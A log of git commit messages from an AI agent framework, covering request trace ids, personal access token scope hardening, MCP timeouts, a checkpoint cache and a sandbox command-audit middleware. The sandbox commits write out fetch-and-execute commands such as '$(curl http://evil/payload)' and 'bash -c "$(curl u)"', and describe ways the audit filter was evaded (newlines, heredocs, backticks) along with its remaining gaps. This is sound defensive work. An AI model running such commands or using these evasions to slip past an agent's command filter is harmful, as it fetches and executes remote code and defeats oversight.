feature(gateway): issue request trace ids unconditionally (#5119)
* refactor(gateway): issue request trace ids unconditionally

The request trace id was gated behind logging.enhance.enabled at every
entry point, so downstream code had to keep asking whether one existed:
a header-provenance flag in its own ContextVar, a precedence resolver,
and three-level carrier fallbacks at each consumer.

Bind one unconditionally instead. TraceMiddleware covers Gateway HTTP;
ensure_trace_context covers the entry points that never touch ASGI --
scheduled occurrences, MCP task notification runs, IM channel messages,
and the embedded client -- each scoped to one unit of work so a
long-lived worker task cannot leak one occurrence's id into the next.
The ContextVar becomes the only source; the response header, runtime
context, run metadata and log records are derived outputs.

Consumers now use ensure_trace_id() or resolve_trace_id(*carriers) and
drop their presence guards. Removed: resolve_deerflow_trace_id, the
header-provenance flag and its three helpers, set/reset_current_trace_id,
is_trace_correlation_enabled and its gateway alias.

BREAKING CHANGE: every Gateway HTTP response now carries X-Trace-Id and
it cannot be turned off; logging.enhance.enabled controls log output
only. Installations on the default enabled: false will start seeing the
header. No config keys were added or removed.

* fix(gateway): stop persisting a caller-supplied trace id on the run record

body.metadata forks two ways: through build_run_config into the live run
config, which the run worker restamps, and through create_or_reject into
the run record that the runs API echoes verbatim. Only the first was
covered, so a client sending metadata.deerflow_trace_id made the most
durable and most visible surface of a run disagree with the X-Trace-Id
and the log lines the same request produced -- a correlation id that
does not match the logs is worse than none.

Stamp the server-issued id once at the trust boundary so both forks
receive it, preserving the caller's own metadata keys. Close the same
gap on config.context, which reaches the runtime context by a separate
path: _build_runtime_context no longer merges server-owned keys from the
caller, and _install_runtime_context assigns rather than setdefaults.

A thread's metadata is no longer seeded with the run-scoped id of
whichever run created it -- one thread spans many runs and as many
trace ids.

Found by driving a real run through the Gateway and reading the run back
from the runs API; every unit test built its metadata by hand and so
could not see it.

* fix(gateway): expose X-Trace-Id to split-origin browser clients

X-Trace-Id is not on the CORS safelist, so a browser client served from
a separate origin could not read it -- and those are exactly the clients
that cannot read the Gateway's logs either, leaving them with nothing to
quote in a bug report. Same-origin nginx deployments were unaffected,
which is why this stayed hidden.

Add it to CORS_EXPOSED_HEADERS beside Content-Location, referencing
TRACE_ID_HEADER rather than repeating the literal.

* fix(gateway): keep X-Trace-Id on unhandled-exception 500s

Starlette's ServerErrorMiddleware sits outside every user middleware and
emits unhandled-exception 500s through the raw send, so those responses
never pass TraceMiddleware's header-writing wrapper. The 500 for a server
bug is exactly the response a user most needs to correlate with a log line,
and it was the one response that shipped without the id.

TraceMiddleware now tracks whether http.response.start has been sent. On an
exception with no response started it emits its own plain 500 carrying the
header, then re-raises: the outer ServerErrorMiddleware sees the response
already started and only re-raises too, so the server's exception logging is
untouched. An exception mid-stream keeps propagating unchanged — a second
response start cannot be sent, and the already-written header stands.

The trace id is printable ASCII by construction (normalize_trace_id /
generate_trace_id), which is what makes the raw latin-1 header encoding
safe.

* fix(gateway): strip the forged trace id from the persisted request echo

The run-record fix stopped a forged metadata.deerflow_trace_id on the
authoritative metadata surface, but the raw request echo still carried one:
create_or_reject persists body.config verbatim as runs.kwargs_json, which
the runs API serves back. A client posting config.context.deerflow_trace_id
therefore still got its forged value stored and echoed on one API surface
while the header, logs, run metadata, and checkpoint all carried the real
id — the id is ignored as input there, so echoing it back only manufactures
disagreement.

Two changes close it. redact_config_secrets — already the shared scrub for
that echo, applied at admission and again at serve time, so historical
records are covered too — now also drops deerflow_trace_id from
config.metadata and config.context. And build_run_config now merges run
metadata onto a copy of the caller's config["metadata"] instead of updating
it in place: the nested values of the request config are reference copies,
so the in-place merge was writing the server-stamped key through into
body.config, contaminating the "what the client sent" record before it was
persisted (and incidentally masking the forged-value echo on the metadata
container).

The regression test posts a forged id through body.metadata,
config.metadata, and config.context at once and reads the kwargs echo back
off the run record, failing if either leak returns.

* docs(harness): record the trace-echo scrub, 500 fallback, and accepted retry divergence

The trace section of the harness AGENTS.md now covers the two fixes that
close the derived-output rule (the kwargs-echo scrub in
redact_config_secrets plus build_run_config's copy merge, and
TraceMiddleware's own 500 for unhandled exceptions), and CHANGELOG gains
their Fixed entries.

It also writes down the one accepted divergence: a crash-recovered
scheduled launch reuses the durable run through its idempotency key, and
start_run returns early on idempotency_reused without restamping — so the
run record keeps the first attempt's deerflow_trace_id while the retry's
own log lines carry the freshly minted id of its ensure_trace_context
binding. The divergence is confined to the crash-recovery window and is
accepted rather than fixed: restamping on reuse would rewrite a persisted
record for a run that already exists, which is worse than two ids that each
correlate their own attempt's logs. Written down so the next reader of the
scheduler recovery path does not diagnose it as a bug.

* docs(config): align the logging.enhance schema note with the unconditional trace id

The config-module AGENTS.md still described logging.enhance as the gate for
the Gateway X-Trace-Id header and Langfuse deerflow_trace_id. That model is
gone: ids are issued unconditionally and this block decides log output only.
Left as-is, the stale wording invites an agent to "restore" a header gate it
believes was lost. Reworded to match the sibling AGENTS.md files and
config.example.yaml, with a pointer to the Request Trace Context section
that owns the full model.

* docs(changelog): link the trace entries to #5119

The five new entries pointed at the ([#XXXX]) placeholder with no reference
definition, rendering as literal text instead of a link — and RELEASING.md
step 2 relies on those references when the section becomes release notes.
All five now point at #5119, with the definition appended to the reference
block.

* refactor(harness): rename _stream_without_trace_context to _stream_turn

The name asserted the opposite of what the method now does. It was accurate
while logging.enhance.enabled could route stream() around the trace scope;
with the gate gone it is the only stream implementation left, and it binds
the id itself via ensure_trace_id(). Private, so the rename touches only the
definition and the one stream() call site.

* docs(harness): fit the trace-context guidance inside the AGENTS.md chain budget

The expanded Request Trace Context section pushed the effective AGENTS.md
chain for agents/middlewares to 99,815 bytes, past the 98,304 hard limit
scripts/check_agent_guidance.py enforces in CI (AG002). Compressed the
section from 7,359 to 4592 bytes with no facts removed: the entry-point
table, the derived-output rule and its enforcement points, the accepted
scheduled-retry divergence, the two resolution helpers, the stream()
binding rationale, the log-output-only gate, the CORS listing, the 500
fallback, and the test map all remain.

Sized against the merge, not just the branch: current main grew the same
chain by ~724 bytes, so the check was verified on the merged tree as well
(97,772 bytes; branch tree 97,048).

* fix(gateway): declare content-length on the fallback 500

The pre-response 500 declared content-type but no content-length, leaving
the framing to the ASGI server: chunked on HTTP/1.1, close-delimited on
HTTP/1.0 — the one wire difference from the ServerErrorMiddleware response
it replaces, which sends content-length: 21. The explicit header keeps the
fallback byte-identical to what clients saw before.

* docs(readme): drop the trace-correlation condition from the translations

The zh/ja/fr/ru Langfuse sections still said metadata.deerflow_trace_id
matches X-Trace-Id "when request trace correlation is enabled". The id now
always matches and that condition no longer exists, so each bullet states
the unconditional match and that logging.enhance.enabled only controls
whether the id is printed into logs — the one piece of the feature a user
can still configure.

* test(gateway): pin TraceMiddleware wiring through create_app()

Every X-Trace-Id test exercised a hand-built four-route app, so the real
stack's add_middleware(TraceMiddleware) line was pinned by nothing: deleting
it — or short-circuiting above it — passed CI while silently dropping both
the response header and the ambient id the run-record stamp and enhanced log
records derive from. One case now drives /health through create_app() and
asserts the inbound id round-trips; mutation-checked by removing the wiring
line, which fails exactly this test.

* docs(gateway): note the fallback 500 is CORS-opaque

The pre-response 500 is emitted outside CORSMiddleware — the exception has
already unwound past it — so it carries no Access-Control-Allow-Origin and
a split-origin browser client cannot read the id on this one response,
unchanged from the ServerErrorMiddleware 500 it replaces. Documented on the
class and in the CHANGELOG entry rather than fixed: replicating the origin
allowlist outside CORSMiddleware would let the two policies drift.

* fix(harness): keep abandoned-stream cleanup inside the trace binding

stream() binds the turn's id around each next(inner) and resets it before
yielding, but the finally's inner.close() ran after that binding was gone.
Abandoning the stream therefore drove the inner LangGraph generator's
GeneratorExit/finally path with no trace id — or an unrelated ambient one
from whichever context ran the close — so cancellation and finalization
logs and callbacks did not correlate with the turn they belong to.

inner.close() is now wrapped in a local bind/reset of the same turn id. The
token is set and reset in the same frame, never across a yield, so the
per-step cross-context safety is preserved even when GC closes the
generator from another Context — pinned by the existing copy_context close
test, which now exercises this path. The regression test records the id
from the inner generator's finally and fails without the binding.

* test(harness): teach the worker-trace fake about RunManager.cleanup

Upstream #5112 (bound gateway memory after terminal runs) added a
run_manager.cleanup(run_id) call to run_agent's finalization, so the
merge-commit CI run failed all five worker-trace-binding tests with
AttributeError on this PR's _FakeRunManager. The fake gains the same no-op
shape as its other methods.

* docs(gateway): bring the gateway AGENTS.md back under its soft budget

Upstream #5092 grew backend/app/gateway/AGENTS.md to 40,966 bytes, 6 over
the 40,960 soft budget that
test_agent_guidance_check.py::test_repository_guidance_stays_below_soft_budgets_and_avoids_doc_indexes
enforces — its Unit Tests run on main was cancelled by push concurrency, so
main is currently red on that test and every PR merge-run inherits the
failure. Two whitespace/wording trims in the row #5092 touched (a doubled
space, and "its configured `context_window`" → "its `context_window`")
bring the file to 40,953 with no content change.

feat(auth): add personal access tokens for programmatic API access (#5041)
* feat(auth): add personal access tokens for programmatic API access (#4849)

Backend-first implementation of the PAT contract from #4849: show-once
dfp_ tokens bound to their owning user (AUTH_SOURCE_PAT,
is_internal=false), digest-only storage (migration 0017), strict
credential precedence (invalid Bearer is a 401, never cookie fallback),
CSRF double-submit skipped only for Bearer requests while
auth-endpoint origin checks still run, scopes intersecting the authz
route permissions, session-auth-only PAT management and password
changes, and throttled best-effort last_used_at stamps.

* fix(auth): harden PAT scope boundary and schema parity from adversarial review

Independent review of the initial draft found: (1) scopes only constrained
the threads/runs permission axis while admin routes treated a PAT as its
(possibly admin) owner — is_admin_user now rejects PAT callers outright
since no scope grants admin capability; (2) the model declared a column
UNIQUE constraint while migration 0017 created a named unique index, so
downgrade failed on create_all-bootstrapped DBs — both now use the named
unique index; (3) auth-disabled mode is an operator override and now stays
ahead of the Bearer check so a stray Authorization header cannot 401 an
E2E sandbox; plus wiring the previously-unused constants, bounding the
last_used_at stamp cache, and four new tests (middleware-level expiry,
expires_in_days, admin-capability rejection with session control, and the
auth-disabled precedence).

* docs(api): document personal access tokens for programmatic API access

* fix(auth): close PAT security boundaries from review (default-deny routes, extension admin suppression)

P1-1: scope intersection only constrains @require_permission routes, so
undecorated mutation routes (DELETE /api/memory, POST /api/agents, Lark
credential switching, channel config) accepted a PAT holding a single read
scope. AuthMiddleware now enforces a default-deny route policy in
auth/pat.py: PAT requests are admitted only to the thread/run lifecycle
routes the v1 scopes govern; everything else answers 403 regardless of
scopes. Session-cookie callers are unaffected.

P1-2: the extension principal resolver projected is_admin/roles from the
raw system_role, so an admin-owned PAT passed
deerflow_extension_api.require_admin on contributed routes despite the
documented no-admin guarantee. The projection is now PAT-aware and
suppresses every admin signal for PAT callers, mirroring
deps.is_admin_user.

Both fixes carry regression tests (route outside policy 403 + session
control; production resolver admin suppression), and API.md documents the
default-deny boundary.

* fix(auth): enforce PAT scopes on stateless run entry and harden decorator

Follow-up hardening from an independent audit of the P1 fixes:

- POST /api/runs/stream and /api/runs/wait were the only allowlisted run
  entrypoints without @require_permission, so a threads:read-only PAT
  could still start runs (same bug class as P1-1, now closed): both now
  carry @require_permission("runs", "create"). POST /api/threads and
  POST /api/threads/search gain threads:write / threads:read for the
  same reason. Authorization-disabled deployments see no change (the
  permission set resolves to all permissions).
- require_permission now binds the wrapped signature to locate a
  positionally-passed request before injecting the test stub, fixing
  'got multiple values for argument' on direct positional unit-test
  calls.
- API.md: the intro PAT example used GET /api/models, which the new
  default-deny policy 403s — replaced with GET /api/threads; the
  default-deny route list now spells out method sets.

Regression test: threads:read-only PAT is 403 on the decorated stateless
entry while a runs:create PAT passes.

* fix(auth): address review P2s (empty Authorization header, PAT name trimming, API example)

- CSRFMiddleware treats an explicitly empty Authorization header as
  present (is None), so an invalid credential always reaches
  AuthMiddleware's uniform 401 instead of a CSRF 403 that varies by
  method/CSRF state. Regression: empty-header request dies at auth.
- PATCreateRequest strips the name and rejects whitespace-only values
  before token generation; created names are stored trimmed.
- API.md intro PAT example now uses the implemented
  POST /api/threads/search endpoint (GET /api/threads does not exist).
- AGENTS.md trimmed back under the guidance soft budget after the
  upstream merge.

* fix(auth): tighten PAT route policy to implemented methods only

The allowlist admitted GET /api/threads, a method no router implements.
Pre-authorizing a dead method weakens the default-deny boundary: a
future GET collection route added without a permission decorator would
become PAT-reachable without an explicit policy change. Restrict the
rule to POST, fix the stale GET description in API.md's PAT
constraints, and document the default-deny boundary accurately in the
gateway AGENTS.md guidance (only the threads/runs allowlist is
PAT-reachable; every other authenticated route 403s PAT callers).

Audited every remaining rule against the mounted routers: all other
method+path entries map to real routes. Regression:
test_pat_policy_does_not_pre_authorize_unimplemented_methods.

* test(auth): guarantee the negative digest test mutates the token

token[:-1] + "X" is identical to the original whenever the generated
token already ends in X (1/62), making the negative digest assertion
fail intermittently. Choose the replacement character based on the
existing tail so the mutated token always differs.

* fix(auth): require runs:cancel for cancel-then-stream requests

stream_existing_run is gated at runs:read so action-less stream joins
work with read-only credentials, but its ?action=interrupt|rollback
branch cancels the run — a separate permission. A runs:read-only PAT
passed both the PAT route policy and the route decorator and could
interrupt or roll back an active run, bypassing the runs:cancel scope.

Decorators cannot express query-parameter-conditional permissions, so
the check lives in require_cancel_permission_when_action(), applied at
the top of the handler. Regression drives the real helper through the
production middleware: runs:read-only PAT + action is 403, the same
token joins action-less, runs:read+cancel passes, session control
unaffected.

* docs(changelog): add the PAT feature entry

* docs(readme): add personal access tokens section

Repo documentation-update policy requires user-facing features to
update README.md in the same changeset; the PAT feature previously
touched only backend/docs/API.md and the gateway AGENTS.md.

* fix(auth): require runs:cancel for mutating multitask strategies

All five run-creation entrypoints were gated only by runs:create, but
RunCreateRequest.multitask_strategy accepts interrupt/rollback and
start_run forwards it to create_or_reject, which terminates an
already-active run. A runs:create-only PAT could therefore kill an
existing run through a create request, bypassing runs:cancel.

Decorators cannot express body-parameter-conditional permissions, and
per-route checks leave the same hole for the next entrypoint, so the
gate lives in start_run itself — the single choke point every
run-creation path (HTTP routes and internal launchers) flows through.
Regenerate launches pass multitask_strategy="reject" and are
unaffected; requests without a stamped auth context (internal/test
compositions) skip the gate.

The check is the shared authz.require_cancel_permission_if primitive;
require_cancel_permission_when_action now delegates to it, so every
request dimension that carries cancel capability (query action, body
strategy) flows through one gate.

Regression drives the real middleware stack: runs:create-only PAT +
interrupt/rollback is 403 with the exact detail, reject (explicit and
default) stays available, runs:create+cancel passes, session control
unaffected; a source anchor pins the gate inside start_run.

* fix(runs): keep observer joins from applying creator cancel-on-disconnect

sse_consumer's finally block applied the record's on_disconnect=cancel
policy on ANY consumer's disconnect. The join surfaces (GET /join and
the action-less GET/POST stream join) feed it the existing RunRecord,
so anyone with thread read access — including a runs:read-only PAT —
could cancel a locally-owned running run simply by closing the SSE
connection, without runs:cancel. The policy expresses the creator's
intent for their own connection; an observer's disconnect must never
be read as that intent.

sse_consumer gains apply_on_disconnect (default True). The two join
surfaces pass False; the creating endpoints (thread-scoped and
stateless create-and-stream) keep the creator semantics unchanged.
wait_for_run_completion needs no change: its callers are creator-side
or post-explicit-cancel paths only.

Regression exercises a real generator close — the same machinery
Starlette drives on client disconnect — against the production
sse_consumer: creator stream disconnect cancels, observer join
disconnect does not; a wiring anchor pins both join call sites and the
creator defaults. API.md documents the cancel-capability constraint
(this fix plus the action/strategy gates) in PAT Constraints.

* test(auth): pin the multitask gate behaviorally; state wait invariant

Independent adversarial review of the round-5 fixes found the P1-a
regression only mirror-pinned: the source anchor could be satisfied by
a comment, and deleting the gate from start_run would not fail the
suite. This drives the production start_run directly — a create-only
auth context gets 403 with the exact detail for interrupt, and a
reject request with no cancel permission at all proceeds past the gate
(never a permission 403).

Also documents wait_for_run_completion's creator-side invariant
(every caller is the creating endpoint or post-explicit-cancel) so a
future observer wiring thinks twice before reusing it — the one-caller-
away variant of the observer-disconnect P1.

* docs(changelog): correct the PAT entry's digest and route-policy description

The entry said HMAC digests (the implementation stores SHA-256 digests,
as documented in API.md and pinned by the repository tests) and claimed
the route policy admits 'implemented stateless endpoints' (it admits
the thread/run lifecycle routes, narrowing further by scopes). Also
notes the cancel-capability gate now covering action and multitask
strategies.

* fix(auth): enumerate the PAT runs route policy per implemented subroute

The runs subtree rule was a GET|POST /runs(/.*)? wildcard — it
pre-authorized every current and future subroute under /runs, including
methods the router never implemented (e.g. GET /runs/stream), which is
the same latent default-deny weakening the threads collection rule was
tightened for: a future route added under /runs would become
PAT-reachable without an explicit policy change.

The wildcard is replaced with six segment-precise rules covering exactly
the 14 implemented method+path combinations; the {run_id} slot
necessarily matches any single segment, so the POST-only collection
names (stream, wait, regenerate, edit-regenerate) are excluded from the
GET run-id rule via negative lookahead — no dead method stays
pre-authorized. Behavior for implemented routes is unchanged.

test_pat_runs_policy_admits_exactly_the_mounted_routes derives the
expected set from the mounted thread_runs router instead of a
hand-maintained list: every implemented GET/POST route under /runs must
be admitted, routes in this router outside the subtree stay denied, and
representative unimplemented neighbors are denied — so adding a route
under /runs now fails CI until it is explicitly allowlisted, and a
removed route leaves a dead rule visible. API.md's PAT constraints list
the enumerated routes and drops a feedback mention that belonged to the
stateless /api/runs axis.

* docs(migration): add the 0017 renumbering coordination note to 0017

The PR's migration-coordination comment states each migration file
carries the note; the file did not. Adds it: numbering was generated
against main head 0016 alongside #5078 and #4843; whoever merges first
keeps the slot, the others renumber on rebase (revision/down_revision
plus the bootstrap head assertions).

* fix(auth): pad base62 tokens to a fixed 43-char width

int.from_bytes discards leading zero bytes, so the unpadded encoder
returned a variable-length body — empty for all-zero input, and shorter
than 40 characters for any draw below 62**39 (~1 in 14.5M), leaving
test_generate_pat_token_format probabilistically flaky and the token
body without stable width (review round 6, P3).

_base62 now left-pads with "0" to _base62_width(len(data)) — the exact
integer digit count (62^43 > 2^256 > 62^42, so 43 for 32 bytes). The
format test asserts the exact fixed width instead of a probabilistic
floor, and a new unit test pins the all-zero, leading-zero-byte, and
max-value edges deterministically.

fix(mcp): bring-up has no timeout and externalized tool outputs are counted as undelivered artifacts (#4657)
* fix: bound MCP server bring-up timeouts and exclude externalized tool outputs from delivery verification

Two related robustness fixes:

1. MCP server bring-up was unbounded. tool_call_timeout only covered
   session.call_tool(); tool discovery (subprocess spawn + initialize +
   tools/list) and persistent stdio session initialization could hang
   forever, blocking agent construction (and on the Gateway event loop,
   the whole process). Add a per-server session_init_timeout
   (default DEFAULT_MCP_SESSION_INIT_TIMEOUT = 60s, null disables) that
   bounds both discovery and pooled-session initialization. The session
   pool's existing cancellation handling tears down a session stuck
   mid-creation in its own task.

2. ToolOutputBudgetMiddleware externalizes oversized tool outputs into
   outputs/.tool-results/ (configurable tool_output.storage_subdir). The
   workspace-change scanner and run delivery verification counted those
   files as produced artifacts, so any run that externalized a tool output
   without also presenting a real artifact failed with
   "Artifact delivery incomplete". Exclude TOOL_RESULTS_DIRNAME via a
   shared constant (mirroring BROWSER_FRAMES_DIRNAME) and thread the
   configured storage_subdir through snapshot capture so both
   workspace-changes events and delivery verification stay clean.

* review: enforce single-segment tool_output.storage_subdir; document discovery-timeout cleanup

Address review feedback:

1. A custom tool_output.storage_subdir with a path separator (e.g.
   cache/tool-results) silently no-oped the workspace-scanner exclusion:
   os.walk yields one-segment dirnames, so a nested value never matched and
   its files were counted as produced artifacts again. ToolOutputConfig now
   validates storage_subdir as a single directory name (rejects separators,
   .., absolute, empty) with tests, so the exclusion is always sound.

2. The discovery-timeout path now documents why cancellation is safe, mirroring
   the session-init note: discovery runs inside the adapter's nested async
   context managers, and stdio_client's finally terminates the process tree
   (SIGTERM->SIGKILL on POSIX, process-tree on Windows), so a timed-out npx
   subprocess and its children are reaped rather than accumulating.

* review: log session-init timeouts and align API response model default with runtime config

Address second-round review feedback:

1. A session-init timeout raised TimeoutError without any log, unlike the
   discovery timeout which logs a WARNING. Wrap the bounded get_session in a
   try/except that logs the timeout (server name + seconds) and re-raises, so
   operators can diagnose tool-call failures caused by hung MCP sessions.

2. McpServerConfigResponse.session_init_timeout defaulted to None while
   McpServerConfig defaults to 60s: a server created via PUT /api/mcp/config
   without the field was persisted with null (no timeout) while the same
   server created in the config file got 60s. Align the response-model default
   to DEFAULT_MCP_SESSION_INIT_TIMEOUT so API-created and file-created servers
   behave the same; an explicit null still opts out.

* review: narrow the discovery-timeout handler to the bounded wait_for path

The except TimeoutError clause covered both the bounded wait_for branch and
the bare discovery branch. With session_init_timeout opted out (None), a
TimeoutError raised by discovery itself would hit the %.1f format with None:
logging raises TypeError internally, the WARNING is silently dropped, and a
--- Logging error --- traceback goes to stderr.

Narrow the handler to wrap only the wait_for call, where the branch condition
guarantees the timeout value is not None. A discovery-internal TimeoutError on
the opted-out path now falls through to the generic failure handler and is

feat(checkpoint): checkpoint history cache (#4638)
* feat(checkpoint-cache): delta-mode checkpoint history cache with recursive compose

Read-only, invalidation-free cache for LangGraph delta-channel history
({writes, seed}) at the get_delta_channel_history choke point:

- database.checkpoint_cache config (memory|redis; max_entries 0=disabled;
  redis bounded by TTL, Gateway/async only)
- memory LRU backend (copy-on-read, zero-serde hit path) and redis backend
  (lazy import, degrades to all-miss on outage)
- CachedHistorySaver: recursive composition from the nearest warm ancestor
  (depth budget 8), caching each level; depth-0 cold chains delegate one
  inner fast-path walk. Entries keyed by immutable
  (db, thread, ns, checkpoint_id, channel) — no invalidation, coherent
  across workers
- provider wiring: wraps in delta mode only (async + sync), full mode
  untouched; sync path is memory-only
- bench opt-in: DEERFLOW_CHECKPOINT_BENCH_HISTORY_CACHE=1

sqlite bench (500 updates, payload 2KB): write phase 2.28x at f=250,
1.32x at f=10; one delegated walk per thread cold start.

* chore(config): bump config_version to 32 for database.checkpoint_cache

The checkpoint history cache feature added the database.checkpoint_cache
section to config.example.yaml; bump the schema version so existing
deployments get the outdated-config warning and can run make config-upgrade.

* chore(helm): bump config_version to 32 in chart values and README

* fix(checkpoint-cache): purge thread history entries on delete paths

Addresses review on #4638: delete_thread/prune removed source-of-truth
checkpoints but left the thread's materialized history payloads in the
cache (memory: until LRU eviction; redis: until TTL, default 1 day) — a
data-lifecycle gap for tenant offboarding / GDPR-style erasure.

- Cache contract gains thread-scoped adelete_thread/delete_thread
  (lifecycle purge, not invalidation; entries remain immutable)
- Memory backend: stem scan over the LRU map; redis: SCAN MATCH + UNLINK,
  outage degrades to TTL-bounded retention without raising
- CachedHistorySaver purges on delete_thread/adelete_thread and
  prune/aprune (prune rewrites chains, so pre-prune histories must go);
  delete_for_runs stays delegation-only (run->thread mapping unavailable,
  no in-tree callers), documented in code
- ttl_seconds description documents the residual-retention window
- Tests: thread-scoped purge on both backends, saver-level delete/prune
  purge, prefix-safety (t1 vs t10), redis outage degradation, and the
  pinned no-purge behavior of delete_for_runs

* fix(checkpoint-cache): stable db identity, prefix-aware sync singleton, explicit zero TTL

Addresses Copilot review on #4638:

- checkpoint_cache_db_hash now hashes the credential-free postgres
  identity (host:port/database + schema): credential rotation no longer
  changes the cache namespace (cold cache + orphaned keys until TTL).
  Unparseable URLs fall back to the raw string.
- The sync-path memory cache singleton is also keyed by its key_prefix:
  a namespace change (db identity change or operator override) recreates
  the cache instead of leaving stale-prefix entries unreachable and
  unpurgeable.
- ttl_seconds=0 is now an explicit, documented opt-out of redis expiry
  (SET without EX; redis maxmemory policy only) instead of a silent
  'ttl_seconds or None' coercion.

Tests: credential-rotation hash stability, unparseable-URL fallback,
prefix-change singleton recreation, same-prefix singleton reuse, and
zero-TTL wire behavior (ex=None).

fix(sandbox): judge command substitution by position in audit middleware (#4623)
* fix(sandbox): judge command substitution by position in audit middleware

SandboxAuditMiddleware refused any `$(...)` containing a risky executable,
so ordinary output capture such as
`code=$(curl -s -o /dev/null -w '%{http_code}' https://example.com)` was
blocked before the bash tool ever ran. The rule matched the `$(cmd` token
regardless of syntactic position, and because the opening paren was optional
and unbounded it also caught plain variable expansions (`$shell`, `$bashrc`,
`$python_version`) and lookalike binaries (`shellcheck`, `shasum`).

Command position is what makes a substitution dangerous: `$(curl url)` as the
command executes what was downloaded, while `x=$(curl url)` or
`echo $(curl url)` only captures its output. Replace the unanchored rule with
`_HIGH_RISK_COMMAND_POSITION_PATTERNS`, matched anchored against each split
sub-command, and add `split_pipes=True` to `_split_compound_command` so the
word after a pipe is recognised as a new command position. `_split_compound_command`
keeps its previous behaviour by default, since a pipeline is one logical command
and the pipe-spanning rules (`| sh`, `base64 -d | ...`) are matched by the
whole-command scan in `_classify_command`.

Add an explicit `eval`/`source` rule so narrowing the substitution rule does not
release forms the broad pattern had covered incidentally (`eval $(curl url)`,
`source <(curl url)`). It reuses the same executable list, so common shapes like
`eval "$(ssh-agent)"` stay allowed.

Two-step forms (`x=$(curl u); eval "$x"`), process substitution outside
eval/source, and newline-separated statements remain undetected; closing them
needs real shell parsing, which is out of scope for an audit layer whose actual
isolation boundary is the sandbox.

Fixes #4611

* fix(sandbox): keep assignment/wrapper prefixes in command position

Anchoring the command-substitution rule at the start of a sub-command missed
that a command position is not always the first character. POSIX shell allows
leading variable assignments, and exec wrappers keep what follows in command
position, so `FOO=1 $(curl url)`, `env FOO=1 $(curl url)`, `nohup $(curl url)`
and `time $(curl url)` all execute the fetched output while reading as value
position to an anchored pattern. The previous unanchored rule caught these
incidentally, so leaving them out was a regression rather than a documented gap.

`_COMMAND_POSITION_PREFIX` extends the anchor over those prefixes. Its
assignment branch requires whitespace between the assignment and the
substitution, which is what still separates `FOO=1 $(curl url)` (command) from
`x=$(curl url)` (value); an argument-position substitution behind the same
prefix, such as `env FOO=1 ./run.sh --tag $(curl url)`, keeps passing. The
repetition is bounded so the alternation cannot backtrack on long input.

Also correct the documented gap list: two-step forms
(`x=$(curl u); eval "$x"`) are inherent to allowing output capture rather than
an oversight, since any rule that permits the capture permits the first
statement and linking it to the later eval needs dataflow analysis.

* fix(sandbox): treat interpreter code-string flags as execution context

Narrowing the substitution rule to command position released the forms where
the substitution is an *argument* to something that executes it. Verified
against both classifiers, block on main -> pass on this branch:

  bash|sh|dash|ksh|zsh -c "$(curl u)"    python|perl|ruby|node|php -c/-e/-p/-r
  bash <<< "$(curl u)"                    xargs sh -c "$(curl u)"

Same class as the eval/source case the PR kept, spelled with a flag. Add two
whole-command rules covering the code-string flags and the here-string. They
are position-blind on purpose: 'bash -c' executes what it receives wherever it
appears, including as an argument to another command.

Also fixes the eval/source rule itself. It required '\(' after [`$<], so the
backtick spelling regressed with the rest: 'eval `curl u`' and
'source `curl u`' blocked on main and passed here, despite the PR claiming
eval/source coverage was preserved. All three spellings ($( , <( , backtick)
now share one _RISKY_SUBSTITUTION opener so a rule cannot cover one and miss
another.

Reported by @rjvkn on #4623; the backtick half was found while confirming it.
'bash <(curl u)' stays passing -- it was already passing on main and remains a
documented gap, not a regression.

* fix(sandbox): split on newlines, and keep heredoc bodies out of it

An unquoted newline separates statements exactly like ';', but the splitter
never split on it and normalization collapsed it to a space before the
'^'-anchored rules ran, so identical shell semantics got opposite verdicts:

  echo hi; $(curl u)   -> block
  echo hi<newline>$(curl u)  -> pass

Block on main, pass here -- so the PR description's 'newline-separated
statements ... were not detected before this change' was wrong. It holds for
'. <(curl u)' process substitution, which passed on main too; it does not hold
for this. Third instance of one root cause: replacing an unanchored .search
with anchored per-sub-command matching releases every context the splitter does
not model (argument position, backtick spelling, statement separator).

Splitting on newlines alone would then manufacture command positions the shell
never creates -- a heredoc body line beginning with $(curl url) is file
content, not a command. So headers are recorded as they are read and their
bodies consumed verbatim at the newline that opens them. '<<<' is a here-string
and opens nothing; both a lookahead and a lookbehind are needed, or the
trailing '<<' of '<<< "text"' reads as a heredoc with delimiter 'text'.

The header regex is tried only at '<', which keeps this off every other
character: without the guard a 10KB command went 313ms -> 505ms. A realistic
20KB heredoc file write classifies in ~13ms.

Reported by @willem-bd on #4623.

* fix(sandbox): do not read an arithmetic shift as a heredoc header

The heredoc heuristic fired on any unquoted '<<', so a bit shift whose right
operand is an identifier opened a phantom heredoc:

  offset=$(( idx << shift ))
  $(curl http://evil/payload)

Delimiter 'shift' never appears, so the unterminated body consumed the rest of
the string, the second line was never split into its own sub-command, and the
anchored rule never saw it -- reopening the newline evasion the previous commit
closed, and a regression against main.

Track arithmetic depth alongside the quote flags and skip header detection
while it is positive. Covers the bare arithmetic command '(( ... ))' too, not
just '$(( ... ))': it evades identically and a $-only guard would miss it. A
digit right operand ('$((1<<8))') never had the problem, since a delimiter
cannot start with one; both spellings are pinned so they cannot drift.

An unclosed '((' leaves the depth positive, which only disables heredoc
detection -- newlines keep splitting, so the failure direction stays towards
seeing more command positions rather than fewer.

fix(sandbox): enforce disabled skills in filesystem views (#4178)
* fix(sandbox): project enabled skills into sandbox views

* fix(skills): keep projection mutations consistent

* fix(skills): fail closed on projection errors

* fix(skills): isolate per-scope failures during boot projection rebuild

rebuild_all_skill_projections() propagated any exception from the public
rebuild or from a single user's rebuild straight out of the gateway
lifespan startup, uncaught. A single broken user directory (bad
permissions, corrupted _skill_states.json, unreadable content) would
therefore abort gateway boot for every user, not just that one -
_rebuild_*_locked already fails closed internally (clears the view and
re-raises), so the boot loop only needed to stop treating that re-raise
as fatal.

Each scope's rebuild now fails closed independently and boot continues;
a scope left empty by a boot failure self-heals on the next sandbox
acquire via ensure_skill_projections().

Also patches deerflow.skills.projection.rebuild_all_skill_projections in
the memory-flush lifespan test fixture, matching the two sibling
fixtures in the same file — this call is now on the lifespan startup
path and the fixture's minimal SimpleNamespace config predates it.

* test(skills): update authz test for the projection-aware public toggle

_persist_shared_skill_state (introduced earlier in this branch) reads
the shared extensions_config.json fresh from disk under the projection
lock instead of through the cached get_extensions_config() singleton -
that's the whole point of the fix (stale worker caches must not clobber
another worker's concurrent update). The name no longer exists on the
skills router module, so the test's monkeypatch of it started raising
AttributeError instead of exercising the endpoint.

The mock storage in this test isn't a real LocalSkillStorage instance,
so _persist_shared_skill_state's projection-mutation branch is already
skipped (nullcontext) and it falls back to a fresh ExtensionsConfig()
